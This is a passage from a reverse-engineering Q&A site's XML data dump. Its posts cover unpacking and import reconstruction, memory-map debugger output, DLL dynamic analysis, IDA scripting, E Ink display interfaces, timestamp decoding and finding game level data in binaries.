(@@c++(foo)+1000)&#xA;BaseAddress:       003a1000&#xA;AllocationBase:    003a0000&#xA;AllocationProtect: 00000002  PAGE_READONLY&#xA;RegionSize:        00001000&#xA;State:             00001000  MEM_COMMIT&#xA;Protect:           00000040  PAGE_EXECUTE_READWRITE&#xA;Type:              00020000  MEM_PRIVATE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ollydbg 2.01 will show  any changes instantly note memory map item no and address &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Memory map, item 19&#xA;  Address = 003A0000&#xA;  Size = 00002000 (8192.)&#xA;  Owner =                 003A0000 (self)&#xA;  Section =&#xA;  Contains =&#xA;  Type = Priv 00021002&#xA;  Access = R&#xA;  Initial access = R&#xA;  Mapped as =&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after first Virtualprotect&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Memory map, item 20&#xA;  Address = 003A1000&#xA;  Size = 00001000 (4096.)&#xA;  Owner =                 003A0000&#xA;  Section =&#xA;  Contains =&#xA;  Type = Priv 00021040&#xA;  Access = RWE&#xA;  Initial access = R&#xA;  Mapped as =&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1924" LastActivityDate="2013-05-30T18:06:53.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2142" PostTypeId="1" AcceptedAnswerId="2145" CreationDate="2013-05-30T22:15:57.203" Score="12" ViewCount="1424" Body="&lt;p&gt;When reading about unpacking, I sometimes see an &quot;import reconstruction&quot; step. What is this and why is it necessary?&lt;/p&gt;&#xA;" OwnerUserId="2142" LastEditorUserId="2147" LastEditDate="2016-10-23T20:36:43.813" LastActivityDate="2016-10-23T20:36:43.813" Title="What is import reconstruction and why is it necessary?" Tags="|unpacking|import-reconstruction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2143" PostTypeId="1" CreationDate="2013-05-30T22:35:52.433" Score="15" ViewCount="13582" Body="&lt;p&gt;I am particularly interested in the ED060XC3 that is in the kindle paperwhite (I think that is the right one anyway).&lt;/p&gt;&#xA;&lt;p&gt;I can't find a freely available datasheet. Would it be possible to reverse engineer a driver from the kindle firmware?&lt;/p&gt;&#xA;&lt;p&gt;There are acutally 3 interfaces (display, backlight , touchscreen) but the display interface would be the most important and interesting. I intend to purchase one for use with an FPGA if I can determine if it is possible to operate it first.&lt;/p&gt;&#xA;&lt;p&gt;From what I understand the module itself may not contain a controller but I would have to implement an EPD controller in my FPGA like &lt;a href=&quot;https://ieeexplore.ieee.org/document/5373963&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You can see images of the screen here: &lt;a href=&quot;https://web.archive.org/web/20140412054110/http://www.aliexpress.com:80/item/Screen-e-book-reading-kindle-paperwhite-ED060XC3-lf-plain/884791378.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;aliexpress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="13506" LastEditDate="2022-04-19T12:04:06.590" LastActivityDate="2022-04-19T12:04:06.590" Title="E Ink display interface protocol" Tags="|hardware|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2144" PostTypeId="2" ParentId="2143" CreationDate="2013-05-30T22:45:19.100" Score="5" Body="&lt;p&gt;Kindle is based on embedded Linux. Thus Amazon is forced to distribute the source code. You might find the actual driver sources there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the sources here.&lt;a href=&quot;http://www.amazon.com/gp/help/customer/display.html?nodeId=200203720&quot; rel=&quot;noreferrer&quot;&gt;http://www.amazon.com/gp/help/customer/display.html?nodeId=200203720&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="35" LastEditorUserId="35" LastEditDate="2013-05-30T23:05:46.153" LastActivityDate="2013-05-30T23:05:46.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2145" PostTypeId="2" ParentId="2142" CreationDate="2013-05-30T22:47:32.803" Score="20" Body="&lt;p&gt;In a typical, non-packed Windows PE executable, the header contains metadata that describes to the operating system which symbols from other libraries that the executable depends upon.  The operating system's loader is responsible for loading those libraries into memory (if they are not already loaded), and for placing the addresses of those imported symbols into structures (whose locations are also specified by the metadata) within the executable's memory image.  Packers, on the other hand, often destroy this metadata, and instead perform the resolution stage (which would normally be performed by the loader) itself.  The goal of unpacking is to remove the protections from the binary, including the missing import information.  So the analyst (or unpacking tool) must determine the collection of imports that the packer loads for the executable, and re-create metadata within the unpacked executable's image that will cause the operating system to properly load the imports as usual.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically in these situations, the analyst will determine where within the executable's memory image the import information resides.  In particular, the analyst will usually locate the &lt;code&gt;IMAGE_THUNK_DATA&lt;/code&gt; arrays, which are &lt;code&gt;NULL&lt;/code&gt;-terminated arrays that contain the addresses of imported symbols.  Then, the analyst will run a tool that basically performs the inverse of &lt;code&gt;GetProcAddress&lt;/code&gt;:  given one of these pointers to imported symbols, it will determine in which DLL the pointer resides, and which specific exported entry is referred to by the pointer.  So for example, we might resolve &lt;code&gt;0x76AE3F3C&lt;/code&gt; to &lt;code&gt;Kernel32!CreateFileW&lt;/code&gt;.  Now we use this textual information to recreate &lt;code&gt;IMAGE_IMPORT_DESCRIPTOR&lt;/code&gt; structures describing each imported DLL, use the original addresses of the &lt;code&gt;IMAGE_THUNK_DATA&lt;/code&gt; arrays, store the names of the DLLs and imported symbols somewhere in the binary (perhaps in a new section), and point the &lt;code&gt;IMAGE_THUNK_DATA&lt;/code&gt; entries to those new names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/ImpREC%E2%80%8E&quot;&gt;ImpRec&lt;/a&gt; is a popular tool that automates most or all of this process, depending upon the packer.  What I just described is reflective of reality in about 95% of cases.  More serious protections such as video game copy protections and tricky custom malware use further tricks that stymie the reconstruction process.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="245" LastEditDate="2013-05-31T00:28:31.340" LastActivityDate="2013-05-31T00:28:31.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2146" PostTypeId="2" ParentId="2143" CreationDate="2013-05-31T00:00:25.787" Score="8" Body="&lt;p&gt;I don't have an actual answer but here's a few leads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freescale has some chips in the i.MX6 family with the EPD interface:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://community.freescale.com/docs/DOC-93622&quot;&gt;https://community.freescale.com/docs/DOC-93622&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the signals are described in the CPU datasheet, but not the protocol. Even with the older devices when a dedicated controller had to be used, its datasheet would describe only the controller and not the panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apollo controller datasheet (first generation, used in Sony PRS-500), made by Philips (later PVI):&lt;br&gt;&#xA;&lt;a href=&quot;http://openinkpot.org/raw-attachment/wiki/Device/V3/Screen/Apollo_eInk_screen_controller_datasheet.pdf&quot;&gt;http://openinkpot.org/raw-attachment/wiki/Device/V3/Screen/Apollo_eInk_screen_controller_datasheet.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second generation controller (Metronome) &lt;a href=&quot;http://wayback.archive.org/web/20080515150100/http://www.e-ink.com/products/matrix/metronome.html&quot;&gt;was made by E-Ink&lt;/a&gt; but they in fact used an Actel ProASIC3 FPGA as can be seen on my photos of PRS-505 innards:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.flickr.com/photos/21729510@N03/2111017270/in/set-72157603454047408&quot;&gt;http://www.flickr.com/photos/21729510@N03/2111017270/in/set-72157603454047408&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in theory you &lt;em&gt;might&lt;/em&gt; be able to extract the bitstream and RE it or just reuse in your own FPGA. However, it would work only with the first-gen Vizplex panels and probably not with the current ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third generation controller was a dedicated chip made by Epson (S1D13521B, codename Broadsheet). Baidu has a copy of internal training from E-Ink which describes some low-level details on how develop with it (but again, not much on the panel itself):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wenku.baidu.com/view/187d53956bec0975f465e245.html&quot;&gt;http://wenku.baidu.com/view/187d53956bec0975f465e245.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, driving EPD panel is even trickier business than driving a generic LCD. So, unless you know this area very well, I would recommend to stick to a proven solution such as Freescale's chips or a dedicated controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not dead set on the hi-res screen, you may be interested in this collection of kits with small resolution and segmented E-Ink screens:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.the-digital-reader.com/2013/05/23/e-ink-dives-into-the-diy-market/&quot;&gt;http://www.the-digital-reader.com/2013/05/23/e-ink-dives-into-the-diy-market/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-05-31T00:00:25.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2147" PostTypeId="1" AcceptedAnswerId="2151" CreationDate="2013-05-31T03:25:59.193" Score="5" ViewCount="2592" Body="&lt;p&gt;Are there techniques for dynamic analysis of shared libraries? I know for example that DLLs have an entry point, but how about calling other exported functions? Do I need to write a custom executable that calls exports for each DLL I want to analyze?&lt;/p&gt;&#xA;" OwnerUserId="2142" LastActivityDate="2013-10-02T22:18:10.133" Title="Dynamic Analysis for Shared Libraries?" Tags="|dynamic-analysis|dll|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2149" PostTypeId="1" CreationDate="2013-05-31T04:53:11.843" Score="4" ViewCount="361" Body="&lt;p&gt;I was analyzing win32.ramnit's dropper for fun. Almost all the calls it uses are indirect calls. I have figured out the destination addresses using manual analysis. But how can I add this information to the database? The only option I have now is to add the target address as a comment since it simplifies navigation, but the target function's references won't come up in xrefs this way. And another drawback is, I have to correct all the comments if I change the name of the target function. Is there any right way to do this?&lt;/p&gt;&#xA;" OwnerUserId="2043" LastActivityDate="2013-05-31T04:53:11.843" Title="How to add xrefs to indirect call targets in IDA?" Tags="|ida|malware|" AnswerCount="0" CommentCount="1" ClosedDate="2013-05-31T13:14:10.793" ContentLicense="CC BY-SA 3.0" />
  <row Id="2150" PostTypeId="2" ParentId="2147" CreationDate="2013-05-31T04:55:32.943" Score="1" Body="&lt;p&gt;The first naive idea would be to list the symbols of the functions and use it as entrypoints to the binary to disassemble each function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, if you are looking for more advanced techniques, you should take a look at the &lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA FLIRT signatures&lt;/a&gt;. There have been a question about it here, I recommend you to take a look at the answers: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/175/what-is-a-flirt-signature&quot;&gt;What is a FLIRT signature?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2013-05-31T04:55:32.943" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2151" PostTypeId="2" ParentId="2147" CreationDate="2013-05-31T07:51:42.727" Score="8" Body="&lt;p&gt;A dynamically linked library has the same executable header and structure as a standard executable. Therefore they can be debugged the same way that a normal executable can be debugged. It might be a bit tricker than usual, because in order to debug it, it has to be loaded into some process, and making that happen could be trivial (i.e. if it's loaded as part of some other program) or it might take some doing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A common technique is to use something like &lt;a href=&quot;http://www.ollydbg.de/Loaddll.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;OllyDbg's LoadDll&lt;/a&gt;.  The linked page describes a few examples of calling exports within the DLL directly.  Although OllyDbg has some smarts to determine the number of function arguments, it's likely that you will have to do some reverse engineering to figure out what the types of those arguments should be.  See &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2134/get-the-function-prototypes-from-an-unknown-dll&quot;&gt;this recent question&lt;/a&gt; for some advice on how to go about doing that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternative, you can write a small program to load the DLL and call interesting exports manually.  This is still subject to the limitations of needing to know how to interface with the DLL, but at the same time, this programming route might prove necessary in order to thoroughly reverse engineer your target.  I.e., perhaps you need to call some export in order to create some object that the program is expecting as input for another export.  LoadDll will quickly prove cumbersome, and writing this program really ought not to be that difficult.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2013-05-31T07:51:42.727" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2152" PostTypeId="1" AcceptedAnswerId="2158" CreationDate="2013-05-31T12:59:09.943" Score="2" ViewCount="214" Body="&lt;p&gt;I am trying to use &lt;a href=&quot;http://code.google.com/p/smiasm/&quot; rel=&quot;nofollow&quot;&gt;Miasm&lt;/a&gt; to reverse some binaries in i386 and amd64 instruction sets, but I encounter a few problem when using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the installation phase went nice. I managed to install &lt;code&gt;tinycc&lt;/code&gt; with the small modification of the &lt;code&gt;Makefile&lt;/code&gt; and the installation script did not complain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, once I tried to use the script &lt;code&gt;miasm/example/disas_and_graph.py&lt;/code&gt;, the CFG stop suddenly shortly after the entrypoint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strangely, I installed Miasm on a 32bits virtual machine and it worked fine and displayed the whole CFG properly. So, did I miss something about a restriction or a bug on amd64 architecture ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-05-31T13:42:23.187" LastActivityDate="2013-05-31T22:38:41.680" Title="Is miasm working on 64bits architecture?" Tags="|amd64|" AnswerCount="1" CommentCount="2" ClosedDate="2013-08-23T01:43:57.397" ContentLicense="CC BY-SA 3.0" />
  <row Id="2153" PostTypeId="2" ParentId="2147" CreationDate="2013-05-31T15:35:45.823" Score="2" Body="&lt;p&gt;Another method might be using IDA's AppCall feature: After defining a prototype for the relevant exported functions in IDA, you could trigger the function's execution from the IDA console menu in the currently running process's context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can more about how this feature works and how to use it in the hexblog relevant post: &lt;a href=&quot;http://www.hexblog.com/?p=113&quot; rel=&quot;nofollow&quot;&gt;http://www.hexblog.com/?p=113&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2013-05-31T15:35:45.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2154" PostTypeId="2" ParentId="2133" CreationDate="2013-05-31T17:15:55.753" Score="13" Body="&lt;p&gt;I don't know if many people know this, but IDA uses some kind of a trick to decide if a segment is an imports segment, and handles it completely different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA uses a few segment properties to treat a segment as an imports segment. for example, naming a segment &lt;code&gt;.idata&lt;/code&gt;, or setting the segment's class to &lt;code&gt;XTRN&lt;/code&gt; will immediately make it an imports segment. such segments &lt;strong&gt;won't&lt;/strong&gt; display the usual code/data listings, function definitions and most of the other stuff we're used to in the Code View.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically, adding code to those segments will be hidden in IDA, which will refuse displaying any assembly in those segments. A nice Anti-IDA trick I'd say :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, they'll only display name definitions, offsets and comments.&#xA;Once an offset is assigned a name of an API stored in IDA's database, IDA will get the API's prototype and other info, assign type definition and comments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IIRC These APIs will also be shown in the imports window but i'm not sure what exactly triggers this. it might also depend on IDA versions and other import-related PE properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&#xA;&lt;br&gt;It's been more than three years and obviously I couldn't find the script then, and I just went over some old code of mine and were able to reconstruct what I did in that script, and here is the gist of it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idaapi&#xA;import idc&#xA;&#xA;for import_rva, import_name in LIST_OF_IMPORTS:&#xA;    ea = imagebase + import_rva&#xA;&#xA;    if idaapi.get_segm_class(getseg(ea)) == &quot;XTRN&quot;:&#xA;        print(&quot;import is already inside an XTRN segment, &quot;&#xA;              &quot;assuming it's correctly named&quot;)&#xA;        continue&#xA;    elif idaapi.get_segm_class(getseg(ea-1)) == &quot;XTRN&quot;:&#xA;        print(&quot;Import is just below an import segment, &quot;&#xA;              &quot;extending segment to include this additional import&quot;)&#xA;        # shrinking it's current segment&#xA;        # WARNING: this assumes current import is at the top of its segment&#xA;        # otherwise we'll have to SPLIT the import's current segment&#xA;        # and to that I say CBA aka left as an exercise to the reader&#xA;        idaapi.set_segm_start(ea, SegStart(ea)+4, 0)&#xA;        # expanding it's new segment&#xA;        idaapi.set_segm_end(ea-1, SegEnd(ea-1)+4, 0)&#xA;    else:&#xA;        print(&quot;Creating new segment for import&quot;)&#xA;        idc.AddSeg(ea, ea+4, 0, 1, 4, 0)&#xA;        idc.SetSegClass(ea, &quot;XTRN&quot;)&#xA;&#xA;    # renaming import to API name. This will make IDA add type&#xA;    # information and automatic comments for any function it's&#xA;    # familiar with&#xA;    idc.MakeName(ea, import_name)&#xA;    # Making it an offset to have IDA show it as an import instead&#xA;    # of hiding it&#xA;    idc.MakeDword(ea)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-10-23T18:11:40.267" LastActivityDate="2016-10-23T18:11:40.267" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2155" PostTypeId="1" CreationDate="2013-05-31T21:10:42.773" Score="7" ViewCount="650" Body="&lt;p&gt;I've been thinking of reversing some firmware I have laying around. One characteristic of the firmware is that it is compiled using lots of pre-processor macros. Now, as I understand it, these are not included in the binary, so a decompiler cannot help with these. Is there any way to recover these? Is there a known technique for inferring their existance? &lt;/p&gt;&#xA;" OwnerUserId="2149" LastActivityDate="2013-06-09T15:06:29.283" Title="Is there a way to recover macros from compiled code?" Tags="|decompiler|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2156" PostTypeId="2" ParentId="2155" CreationDate="2013-05-31T21:32:54.180" Score="9" Body="&lt;p&gt;No.  Decompilers can include special pattern-matching heuristics layered on top of their other functionality to detect macros, but in general, macros are just pieces of code that get treated by the compiler the same way as other pieces of code.  They might be subject to optimizations that transform their appearance, such as constant propagation, dead code elimination, common subexpression elimination, loop-invariant code motion, etc. which means they might not manifest themselves with an easy-to-solidify syntactic pattern that can be matched against.  Your options are basically to write a post-pass for the decompiler (e.g. a Hex-Rays plugin) or to identify the macros manually.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-05-31T21:32:54.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2157" PostTypeId="2" ParentId="1956" CreationDate="2013-05-31T22:20:56.397" Score="4" Body="&lt;p&gt;When I needed to do a similar task I ended up hooking the IDB save event and then scanned the IDB for modifications using the IDA API before each user save. it took about a few seconds to scan the entire function list, aggregating most information for both functions and data elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me, that sounds like a more practical approach than trying to reverse engineer IDA and patching these hooks in, especially when trying to catch UI events such as user hotkeys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;one point to note though, is that aggregating structure/enum data might be difficult if you choose not to rely on IDA's id numbers if you're doing to handle more than one IDB file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do wish to reverse engineer IDA, it'll be very interesting to join a discussion on the topic somewhere.&#xA;since IDA now uses Qt for most of it's UI (though I'll guess the migration to Qt wasn't as smooth as one could hope), a great starting point into Qt will be &lt;a href=&quot;http://www.codeproject.com/Articles/31330/Qt-Internals-Reversing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Daniel Pistelli's Qt Internals and Reversing&lt;/a&gt; article, which also includes an IDAPython script at the end (yet reading the entire article is highly recommended).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it's somewhat outdated but assuming IDA uses Qt 4.8.x there aren't many differences (if you'd like I can list the ones I know of).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;basically, since Qt is very event-driven (and with some luck IDA 6.0 was designed with that in mind) it might be the case that you just need to listen, in Qt-dialect this is called &lt;code&gt;connect&lt;/code&gt;-ing a &lt;code&gt;slot&lt;/code&gt; (event handler) to a &lt;code&gt;signal&lt;/code&gt; (event), for at-least some of the specific events you wish to hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I previously did some moderate Qt-IDA hacks as I call them, using Qt and PyQt to manipulate Qt objects under IDA's application. In the same manner I managed to add and edit menu items and tool bars manually, it is definitely possible to look up the context menu popup when right-clicking in IDA's disassembly view or hooking the hotkeys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11181/adding-a-toolbar-to-ida-using-pyside/12999#12999&quot;&gt;This RE.SE&lt;/a&gt; answer of mine might be a good place to start.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2017-03-05T09:26:44.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2158" PostTypeId="2" ParentId="2152" CreationDate="2013-05-31T22:38:41.680" Score="1" Body="&lt;p&gt;Ok, I had a few e-mails with Fabrice Desclaux (aka serpilliere), one of the main contributor of miasm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, miasm (version 1) cannot disassemble amd64 opcodes (but do not issue any error if such executable is encountered). What is really misleading, is that the elf-64 is handled but the disassembler fail to recognize the amd64 opcodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, this behavior is &quot;normal&quot; even if no error message is issued.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The good news, is that the main contributor of miasm is working on a second version of the software (&lt;code&gt;miasm2&lt;/code&gt;) which is handling amd64 (and with a lot of new features).&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2013-05-31T22:38:41.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2159" PostTypeId="1" AcceptedAnswerId="2166" CreationDate="2013-06-01T10:36:24.940" Score="12" ViewCount="737" Body="&lt;p&gt;I have the following hex parts and I have a strong suspicion that behind them is a date of an event:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2013.05.23  20:35:00    08014273ed2071a6800017&#xA;2013.05.23  21:45:00    08014273ed246cf0000017&#xA;2013.05.24  17:10:00    08014273ed675173000017&#xA;2013.05.25  01:10:00    08014273ed82900f000017&#xA;2013.05.25  02:15:00    08014273ed8667b3800017&#xA;2013.05.25  17:15:00    08014273edb9c78e800017&#xA;2013.05.25  19:55:00    08014273edc2ee93000017&#xA;2013.05.25  20:30:00    08014273edc52a5a000017&#xA;2013.05.29  06:25:00    08014273eede5079000017&#xA;2013.05.29  06:35:00    08014273eedeac45000017&#xA;2013.05.29  06:40:00    08014273eedf09c6800017&#xA;2013.05.30  21:40:00    08014273ef64b021800017&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first and the second are my observations of the event (I do not have an exact time for minutes and seconds), also it might be in my time zone. In the third column is hex value, which I suspect to be a presentation of this time. &#xA;Currently I assume that &lt;code&gt;08&lt;/code&gt; and &lt;code&gt;17&lt;/code&gt; are just delimiters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking for a timestamp representation and date time, but currently with no success.&#xA;Any guess what it can be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S an update with some completely different dates. I will try to find also the earlier date possible. Thanks for help&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2013.01.01  00:50:00    08014273bf2ba0ed000017&#xA;2012.12.15  03:25:00    08014273b9bbb8cd000017&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1877" LastEditorUserId="53" LastEditDate="2013-12-07T13:10:40.113" LastActivityDate="2022-11-21T16:34:34.363" Title="Trying to reverse engineer dump of a timestamp" Tags="|obfuscation|file-format|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2160" PostTypeId="1" AcceptedAnswerId="2163" CreationDate="2013-06-01T13:33:26.727" Score="6" ViewCount="397" Body="&lt;p&gt;I am trying to recreate an old game just for the sake of nostalgia and learning something new alongside (I can program in various languages and know a bit of assembly language, but I'm new to reverse engineering). The game is called Banania and looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VNEfD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, my problem is finding the level data of this game (It's only one .exe file, nothing else). If I would have made this game, I would have stored the levels (which seem to be of Size 21x13) in a three dimensional array (50x21x13) for 50 total levels.&#xA;However, I just can't seem to find any rectangular pattern of that size that look like levels in my hex editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you try to find it? I'd be grateful for some help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: After staring at the binaries for the whole day, I finally found the level data! I discovered it by luck, it was just a large chunk with only about 20 different numbers used. The format is exactly like I expected. Since I know how the levels look, it shouldn't be too hard to guess what integer stands for which item. Apparently, Integers on Windows 3.1 were 16 bit long (at least, that's my guess), that's why I didn't find it at first.&lt;/p&gt;&#xA;" OwnerUserId="2154" LastEditorUserId="2154" LastEditDate="2013-06-01T18:58:56.910" LastActivityDate="2013-06-01T19:28:26.307" Title="Find level data in binaries?" Tags="|binary-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2161" PostTypeId="1" AcceptedAnswerId="2164" CreationDate="2013-06-01T14:33:48.113" Score="5" ViewCount="3298" Body="&lt;p&gt;I have a .bin file I would like to analyse. Especially find images embedded in this firmware update.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://code.google.com/p/binwalk/&quot; rel=&quot;nofollow&quot;&gt;binwalk&lt;/a&gt; couldn't find anything.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What other tools do you know to search for possible embedded files?&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="145" LastEditDate="2013-06-01T22:43:25.107" LastActivityDate="2013-06-01T22:43:25.107" Title="Find file signatures inside an unknown file" Tags="|tools|binary-analysis|file-format|firmware|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2162" PostTypeId="2" ParentId="2160" CreationDate="2013-06-01T15:05:16.040" Score="5" Body="&lt;p&gt;You will probably don't see the rectangular patterns because of line width vs. actual data structure width. So it's totally displaced. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you could try &lt;a href=&quot;https://code.google.com/p/binwalk/wiki/Screenshots#Entropy&quot; rel=&quot;nofollow noreferrer&quot;&gt;binwalk (a firmware analysis tool)&lt;/a&gt; to display a graph with the entropy of the file, which can help to identify repetetive regions in the executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ariRD.png&quot; alt=&quot;entropy example output&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="145" LastEditDate="2013-06-01T16:41:46.263" LastActivityDate="2013-06-01T16:41:46.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2163" PostTypeId="2" ParentId="2160" CreationDate="2013-06-01T19:28:26.307" Score="3" Body="&lt;p&gt;Based on &lt;a href=&quot;http://pastebin.com/raw.php?i=t8BG08xf&quot; rel=&quot;nofollow&quot;&gt;the output&lt;/a&gt; of &lt;a href=&quot;http://www.solemnwarning.net/page/code#nedump&quot; rel=&quot;nofollow&quot;&gt;NE dumper&lt;/a&gt;, the level data appears to begin at file offset 0x17600 and each level appears to be 0x200 bytes long.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-06-01T19:28:26.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2164" PostTypeId="2" ParentId="2161" CreationDate="2013-06-01T21:12:35.343" Score="8" Body="&lt;p&gt;Your best bet is &lt;a href=&quot;https://bitbucket.org/haypo/hachoir/wiki/hachoir-subfile&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hachoir-Subfile&lt;/a&gt;. You can pass a file stream to Hachior-Subfile, it will search for all known embedded files and display the location. Some known formats it will calculate the size of the file. This makes it easy to carve out the files using dd. A helpful description of Hachoir-Subfile was left by one of the developers a couple weeks back in a similar &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/1664/1425&quot;&gt;question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1425" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-06-01T21:12:35.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
